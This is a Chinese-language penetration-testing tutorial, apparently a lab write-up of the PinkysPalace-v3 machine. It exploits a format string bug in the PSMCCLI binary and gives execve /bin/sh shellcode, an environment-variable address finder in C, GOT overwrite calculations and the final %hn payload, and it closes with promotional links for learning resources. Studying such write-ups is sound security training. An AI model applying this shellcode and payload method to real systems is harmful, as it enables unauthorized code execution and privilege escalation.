簡介
滲透測試-地基篇
該篇章目的是重新牢固地基,加強每日訓練操作的筆記,在記錄地基筆記中會有很多跳躍性思維的操作和方式方法,望大家能共同加油學到東西。
請注意:
本文僅用于技術討論與研究,對于所有筆記中復現的這些終端或者服務器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這里使用的技術僅用于學習教育目的,如果列出的技術用于其他任何目標,本站及作者概不負責。
名言:
你對這行的興趣,決定你在這行的成就!
一、前言
緩沖區溢出(buffer overflow),是針對程序設計缺陷,向程序輸入緩沖區寫入使之溢出的內容(通常是超過緩沖區能保存的最大數據量的數據),從而破壞程序運行、趁著中斷之際并獲取程序乃至系統的控制權。
項目三十六:PinkysPalace-v3,考驗了緩沖區溢出知識,該項目存在非常多的知識點,存在PSMCCLI文件,該項目是烏班圖環境運行著exe文件,該文件是Pink Sec的控制臺程序,該環境就和AWD中的PWN題目一樣,直播教學會有多種方法詳細解釋如何理解緩沖區溢出,如何發現緩沖區溢出,遇到緩沖區溢出如何利用,棧是什么等等問題詳解。
接下來我講分享其中方法一給到各位小伙伴學習,歡迎大佬
二、項目介紹
該項目存在非常多的知識點和防護手段,需要很強的基礎知識和滲透手段才可以攻破拿到該服務器權限,一路旅程從:
外網信息收集->模塊Nday->端口轉發->數據庫枚舉->Fuzz測試->內部信息枚舉->So庫手寫提權
才到咱們本章最有意思的格式字符串緩沖區溢出點,當然前面的邏輯貫穿能力也不可缺失,接下來將詳細介紹格式字符串緩沖區如何溢出提權的,在棧空間中遨游!
通過nm工具詳細私下So庫文件,并利用So庫手寫惡意庫并植入psbanner、psopt、psoption函數提權后,進入了緩沖區的世界內,今天僅僅講解緩沖區溢出,讓各位學到更多,接下來是通過提權拿到了該普通用戶權限:
?
[+] Pink Sec Management Console CLI
Pink Sec的控制臺程序,疑似存在緩沖區溢出!
三、下載程序
將該文件base64轉發下載到本地進行逆向分析:
1)base64轉碼
cd /usr/local/bin/
base64 PSMCCLI
2)將轉碼值寫入本地文本并解碼成文件
vi base64.txt ---放入base64編譯值
cat base64.txt | base64 -d > PSMCCLI
md5sum PSMCCLI ---雙方MD5值對比(因MD5不可逆)
四、緩沖區溢出測試
使用python測試是否存在緩沖區溢出,當然perl也是可以的。
./PSMCCLI $(python -c 'print "A"*100')
./PSMCCLI $(python -c 'print "A"*200')
./PSMCCLI $(python -c 'print "A"*2000')
將100、200、2000....個A發送給程序,都未能造成分段錯誤等情況,不存在緩沖區溢出?
緩沖區溢出分為棧溢出、堆溢出、格式字符串溢出,目前僅僅測試了最基礎的溢出手法,來看看該程序的函數主體,將用到GDB!
gdb是GNU開源組織發布的一個強大的Linux下的程序調試工具,逆向分析有非常多好用的工具,但是GDB毋庸置疑是最強之一,它的pwndbg和peda插件那就是輔助GDB上神器行列的最強幫手。
chmod +x PSMCCLI ---賦權
gdb PSMCCLI ---gdb調試
disas main ---查看主函數
disas argshow ---主函數調用了argshow進行深部查看
argshow用于顯示參數,被main函數調用,可以在argshow中看到兩個printf調用!再說格式化字符串漏洞之前,先了解一下printf函數和利用該漏洞的重要格式化字符串%n,利用他可以做到任意內存寫入!
函數原型
int printf ("格式化字符串",參量... )
函數的返回值是正確輸出的字符的個數,如果輸出失敗,返回負值。
參量表中參數的個數是不定的(如何實現參數的個數不定,可以參考《程序員的自我修養》這本書),可以是一個,可以是兩個,三個...,也可以沒有參數。
printf函數的格式化字符串常見的有%d,%f,%c,%s,%x
(輸出16進制數,前面沒有0x),%p(輸出16進制數,前面帶有0x)等等。
但是有個不常見的格式化字符串%n,它的功能是將%n之前打印出來的字符個數,賦值給一個變量。
除了%n,還有%hn,%hhn,%lln,分別為寫入目標空間2字節,1字節,8字節。注意是對應參數(這個參數是指針)的對應的地址開始起幾個字節。不要覺得%lln,取的是8個字節的指針,%n取的就是4個字節的指針,取的是多少字節的指針只跟程序的位數有關,如果是32位的程序,%n取的就是4字節指針,64位取的就是8字節指針,這是因為不同位數的程序,每個參數對應的字節數是不同的。
該處調用了兩個printf,調用可能會產生格式字符串漏洞!測試!
./PSMCCLI %x
[+] Args: f7f34480
%x是printf支持的格式字符串!用來顯示關聯十六進制輸入數值!通過輸入%x從堆棧中獲取一個值:Args: f7f34480
,將內存當做參數以16進制輸出,這樣就會造成內存泄露,可查看該二進制程序會受到格式字符串漏洞的影響導致溢出!
五、格式字符串緩沖區溢出攻擊
1、查看二進制程序啟用的安全保護
ELF安全特性檢查工具:hardening-check
詳細參考使用文章:
http://manpages.ubuntu.com/manpages/trusty/man1/hardening-check.1.html
Read-only relocations: yes
七種安全機制六種都顯示no, not found!僅RELocation Read-Only只讀重定位開啟,這是一個簡單直接的格式字符串漏洞!
RELRO(Relocation Read Only)重定向只讀解讀:
在Linux系統安全領域數據可以寫的存儲區就會是攻擊的目標,尤其是存儲函數指針的區域,所以在安全防護的角度來說盡量減少可寫的存儲區域對安全會有極大的好處。
原理
GCC,GNU linker以及Glibc-dynamic linker一起配合實現了一種叫做relro的技術:read only relocation
。大概實現就是由linker指定binary的一塊經過dynamic linker處理過relocation之后的區域為只讀,用來防御hijack GOT攻擊。
設置符號重定向表格為只讀或在程序啟動時就解析并綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。RELRO為"Partial RELRO",說明我們對GOT表具有寫權限。
2、shellcode寫入環境空間
1)攻擊思路
格式字符串允許利用兩個基本的攻擊向量:
1. 直接內存訪問:使用%x格式字符串和位置值,可以打印或訪問堆棧中的任何內存位置。
2. 寫入位置的能力:可以使用%n格式字符串寫入任何位置,%n將到目前為止打印的字符數寫入所選位置。
那么思路很清晰了,先用%x定位位置,在位置中%n植入shellcode,用%hn執行。
2)選擇shellcode
shellcode最大輕量網站之一:
http://shell-storm.org/shellcode/files/shellcode-827.php
我選擇了827,當然別的也是能過的,主要基于系統環境決定即可。
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
把核心shellcode拿出,利用格式字符串漏洞,通常將shell代碼放在環境變量中,并將程序流重定向到環境變量的地址即可!
3)shellcode寫入環境
將偏移量移到/tmp目錄中,并對其進行排序,用python寫入:
export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
3、獲取執行shellcode棧地址
因為在argshow函數中調用了兩個printf,當printf結束后執行的是putchar函數,這邊思路覆蓋putchar函數,因為它是printf之后的下一個函數,要獲取需要覆蓋的位置,我在運行程序之前先拆裝了putchar函數,方便包含它在運行時加載的地址:
gdb PSMCCLI
disas putchar
0x804a01c
獲得putchar的棧地址!
4、定位環境變量的地址
當環境變量中植入shellcode后,需要找到覆蓋覆蓋函數的地址!
植入shellcode需要找到地址該腳本可以找:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>int main(int argc, char *argv[]) {char *ptr;if(argc < 3) {printf("Usage: %s <environment variable> <target program name>\n", argv[0]);exit(0);}ptr = getenv(argv[1]); /* get env var location */ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */printf("%s will be at %p\n", argv[1], ptr);
}
將保存到:getenvaddr.c(在項目環境操作)
nano getenvaddr.c
gcc -o getenvaddr getenvaddr.c
chmod +x getenvaddr
gcc編譯getenvaddr二進制文件,開始查看變量空間地址!
./getenvaddr
Usage: ./getenvaddr <environment variable> <target program name>
前面已經將shellcode放入環境變量中了,現在可以使用SPAWN在執行目標二進制文件期間找到環境變量在內存中的位置:
./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbffffe94
shellcode地址:0xbffffe94 ---要覆蓋的內存地址
putchar地址:0x0804a01c ---寫入的地址
所以此時有兩個地址,需要將shell代碼的地址寫入putchar的指針存放位置。
5、確認Args位置
此時有兩個地址需要將shell代碼的地址寫入putchar的指針存放位置即可!
現在的目標是在參數中引入一些地址并嘗試訪問它們!在參數中引入了兩個地址 AAAA (0x41414141) 和 BBBB (0x42424242)!還需要第三位填充(CCC)。
/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")
......0.494c43.41414141.42424242.......
此處我用了三個C!
在此處必須找到完整的排序41414141,42424242對應四個A和B,如果不完整按照最前面講解的基礎加個0,可看到它們分布在兩個內存中!
接下來需要確定這兩個內存地址在什么位置!這里確認位置可以用for循環,也可以猜解!當然我在項目直播中是詳細講解了,來吧加油~
/usr/local/bin/PSMCCLI AAAABBBBCCC%135\$0x%136\$0x
[+] Args: AAAABBBBCCC4141414142424242
如果不起作用,就用C和0填充即可!找到了內存地址為135-136!
6、Exp-前半段地址確定
現在需要訪問putchar指針的地址(要修改的地址),即0x0804a01c!32位架構中的內存為4字節(32位)大小。然而將使用格式字符串漏洞進行寫入也就是兩字節寫入。所以需要把地址分成兩個字節:
低位地址:0x0804a01c
高位地址:0x0804a01e(初始地址+2)
地址字節的順序是顛倒寫的:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0x%136\$0x
[+] Args: CC4a01c004a01e08
前半部分可以訪問所需的地址值了!接下來就可以按照前面的思路,將%x改為%n進行寫入內存地址操作!
7、Exp-后半段地址確定錯誤詳解
只需將%x更改為%n即可!使用%x訪問的內存位置!
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0n%136\$0n
Segmentation fault
終于報分段錯誤了,這就體現出了該處存在緩沖區溢出!那么為什么報錯了?
這邊出現了分段錯誤,因為%n會將到目前為止已打印的字符數寫入正在訪問的內存中,上面的代碼會將11(0xb)寫入高位和低位存儲短字節中,這是一個非法地址,所以報錯!那么接下來要找到正確的內存空間地址值進行計算準確!也是最難的一部!
8、內存空間準確計算定位
shellcode地址位置計算,需要將值0xbffffe94寫入內存字節中,每個短字節最多只能容納0xffff
,因此需要將值拆分為兩個短字節:
shellcode地址:0xbffffe94
打開計算器:選擇程序員->HEX
低位短字節地址: 0xfe94 = 65172
高位短字節地址: 0xbfff = 49151
在前面確認內存位置時,輸入了:
AAAABBBBCCC(11個字節)兩個四字節和三個C填充!
前半部分=49151 后半部分=65172-11bytes = 65161
接下來使用%u格式說明符來引入那么多額外的字符即可!
9、整數溢出思路寫法
現在修復了低位短字節,需要將0xbfff寫入高位短字節然后0xbff(3071)低于0xfe94!
65161
49515
用了三個C
因此需要0x1bfff-0xfe94=49515個字符來寫入所需的0xbfff值!
強調:這里需要計算器直接計算十六進制值,不要加減法單獨計算!
10、最終payload
根據前面函數原型介紹提示,除了%n,還有%hn,%hhn,%lln,分別為寫入目標空間2字節,1字節,8字節。接下來將使用%u定位內存空間剛計算出的準確位置,然后在用%hn進行寫入目標的最底層字節空間中!
咱們這里拿出上面分段錯誤做個對比!
分段錯誤payload:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0n%136\$0n
寫入空間位置地址準確值:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65161u%135\$0hn%49515u%136\$0hn
成功完成格式字符串緩沖區溢出,溢出提權!
六、經驗總結
今天學到ELF格式字符串緩沖區溢出中GDB對程序進行逆向分析,熟悉查看二進制程序啟用的安全保護、shellcode寫入環境空間、獲取執行shellcode棧地址、定位環境變量的地址、確認Args位置、Exp-前半段地址確定、Exp-后半段地址確定錯誤詳解、內存空間準確計算定位、整數溢出思路寫法、最終寫出溢出payload的方法等等操作,最后遠程代碼執行控制服務器等操作,學到了非常多的小技巧和干貨,希望小伙伴能實際操作復現一遍!來鞏固告知企業單位的漏洞情況,并盡快進行加固鞏固安全!
提醒:
1. 每次進入環境格式字符串緩沖區溢出內存地址、棧空間都是隨機變動的!
2. 隨著變動需要用C和0去調試格式字符串,從而達到每一步的效果。
3. 通過每一步的payload不可跳躍執行,需要仔細操作計算,例如%0x,接下也是對應即可
4. 計算空間準確值必須仔細,錯一位數都無法溢出!
希望大家提高安全意識,沒有網絡安全就沒有國家安全!
今天基礎牢固就到這里,雖然基礎,但是必須牢記于心。
網絡安全學習資源分享:
給大家分享一份全套的網絡安全學習資料,給那些想學習 網絡安全的小伙伴們一點幫助!
對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。
因篇幅有限,僅展示部分資料,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,需要點擊下方鏈接即可前往獲取?
讀者福利 |?CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
同時每個成長路線對應的板塊都有配套的視頻提供:?
大廠面試題
視頻配套資料&國內外網安書籍、文檔
當然除了有配套的視頻,同時也為大家整理了各種文檔和書籍資料
所有資料共282G,朋友們如果有需要全套《網絡安全入門+進階學習資源包》,可以掃描下方二維碼或鏈接免費領取~?
?讀者福利 |?CSDN大禮包:《網絡安全入門&進階學習資源包》免費分享(安全鏈接,放心點擊)
特別聲明:
此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產生的連帶責任!本教程的目的在于最大限度地喚醒大家對網絡安全的重視,并采取相應的安全措施,從而減少由網絡安全而帶來的經濟損失。